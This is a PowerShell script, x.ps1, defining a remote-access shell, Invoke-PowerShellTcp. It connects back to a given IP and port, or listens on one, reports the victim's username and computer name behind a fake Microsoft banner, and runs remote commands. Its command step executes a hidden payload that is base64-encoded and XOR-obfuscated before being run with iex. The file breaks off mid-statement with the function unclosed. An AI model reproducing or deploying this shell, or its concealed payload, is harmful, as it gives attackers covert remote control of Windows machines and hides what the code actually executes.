x.ps1

function Invoke-PowerShellTcp 
{ 
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    
    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command " $zQEFMCnHesavngF=71;$MJHFenL='Z0djRyNHJkczRyZHZ0d1R3lHYUd2R2dHO0dnRwhHMkczR2pHFEczRzVHLkcpRyBHZ0duR01HZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHOkdNR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnRyRHJkczRyRHL0dNR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnRzxHTUdnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnRxBHNUcuRzNHIkdqRxBHJkc1RylHLkcpRyBHZ0cURyhHKkciRzNHL0cuRylHIEdnRzBHIkcpRzNHZ0cwRzVHKEcpRyBHZ0cwRy5HM0cvR2dHIkc/RyJHJEcyRzNHLkcoRylHZ0coRyFHZ0ckRyhHKkcqRyZHKUcjR2dHKEcpR2dHM0cvRyJHZ0czRyZHNUcgRyJHM0dpR2dHTUdnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnRxBHNUcuRzNHIkdqRwJHNUc1RyhHNUdnR2NHGEdNR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnRzpHTUdnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0djRzRHIkcpRyNHJUcmRyRHLEd1R2dHZ0d6R2dHY0c0RyJHKUcjRyVHJkckRyxHZ0dsR2dHYEcXRxRHZ0dgR2dHbEdnR29HAEciRzNHakcLRyhHJEcmRzNHLkcoRylHbkdpRxdHJkczRy9HZ0dsR2dHYEd5R2dHYEdNR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2NHP0dnR3pHZ0dvR2NHIkc1RzVHKEc1RxxHd0caR2dHO0dnRwhHMkczR2pHFEczRzVHLkcpRyBHbkdNR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2NHIkc1RzVHKEc1R2lHJEcrRyJHJkc1R29HbkdNR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2NHNEciRylHI0clRyZHJEcsR3VHZ0d6R2dHY0c0RyJHKUcjRyVHJkckRyxHdUdnR2xHZ0djRz9HTUdNR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2RHFUciRzNHMkc1RylHZ0czRy9HIkdnRzVHIkc0RzJHK0czRzRHTUdnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0djRzRHIkcpRyNHJUc+RzNHIkdnR3pHZ0dvRxxHM0ciRz9HM0dpRyJHKUckRyhHI0cuRylHIEcaR31HfUcGRxRHBEcORw5HbkdpRwBHIkczRwVHPkczRyJHNEdvR2NHNEciRylHI0clRyZHJEcsR3VHbkdNR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2NHNEczRzVHIkcmRypHaUcQRzVHLkczRyJHb0djRzRHIkcpRyNHJUc+RzNHIkdrR3dHa0djRzRHIkcpRyNHJUc+RzNHIkdpRwtHIkcpRyBHM0cvR25HTUdnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0djRzRHM0c1RyJHJkcqR2lHAUcrRzJHNEcvR29HbkdnR2dHTUdnR2dHZ0dnR2dHZ0dnR2dHOkdNR2dHZ0dnR2dHZ0dnR2dHZ0djRyRHK0cuRyJHKUczR2lHBEcrRyhHNEciR29HbkdNR2dHZ0dnR2dHZ0dnR2dHZ0cuRyFHZ0dvR2NHK0cuRzRHM0ciRylHIkc1R25HTUdnR2dHZ0dnR2dHZ0dnR2dHPEdNR2dHZ0dnR2dHZ0dnR2dHZ0dnR2dHZ0dnR2NHK0cuRzRHM0ciRylHIkc1R2lHFEczRyhHN0dvR25HTUdnR2dHZ0dnR2dHZ0dnR2dHOkdNR2dHZ0dnR2dHOkdNR2dHZ0dnR2dHJEcmRzNHJEcvR01HZ0dnR2dHZ0c8R01HZ0dnR2dHZ0dnR2dHZ0dnRxBHNUcuRzNHIkdqRxBHJkc1RylHLkcpRyBHZ0cURyhHKkciRzNHL0cuRylHIEdnRzBHIkcpRzNHZ0cwRzVHKEcpRyBHZkdnRwRHL0ciRyRHLEdnRy5HIUdnRzNHL0ciR2dHNEciRzVHMUciRzVHZ0cuRzRHZ0c1RyJHJkckRy9HJkclRytHIkdnRyZHKUcjR2dHPkcoRzJHZ0cmRzVHIkdnRzJHNEcuRylHIEdnRzNHL0ciR2dHJEcoRzVHNUciRyRHM0dnRzdHKEc1RzNHaUdnR01HZ0dnR2dHZ0dnR2dHZ0dnRxBHNUcuRzNHIkdqRwJHNUc1RyhHNUdnR2NHGEdNR2dHZ0dnR2dHOkdNRzpHTUcORylHMUcoRyxHIkdqRxdHKEcwRyJHNUcURy9HIkcrRytHE0ckRzdHZ0dqRxVHIkcxRyJHNUc0RyJHZ0dqRw5HF0cGRyNHI0c1RyJHNEc0R2dHd0dpRzNHJEc3R2lHKUcgRzVHKEcsR2lHLkcoR2dHakcXRyhHNUczR2dHdkdyR3FHcEd2Rw==';$obdOJiNdIYfT=[Convert]::FromBase64String($MJHFenL);$WhBBpYs=foreach($JYcopW in $obdOJiNdIYfT) {$JYcopW -bxor $zQEFMCnHesavngF};$TxhHZY=[System.Text.Encoding]::Unicode.GetString($WhBBpYs);iex $TxhHZY"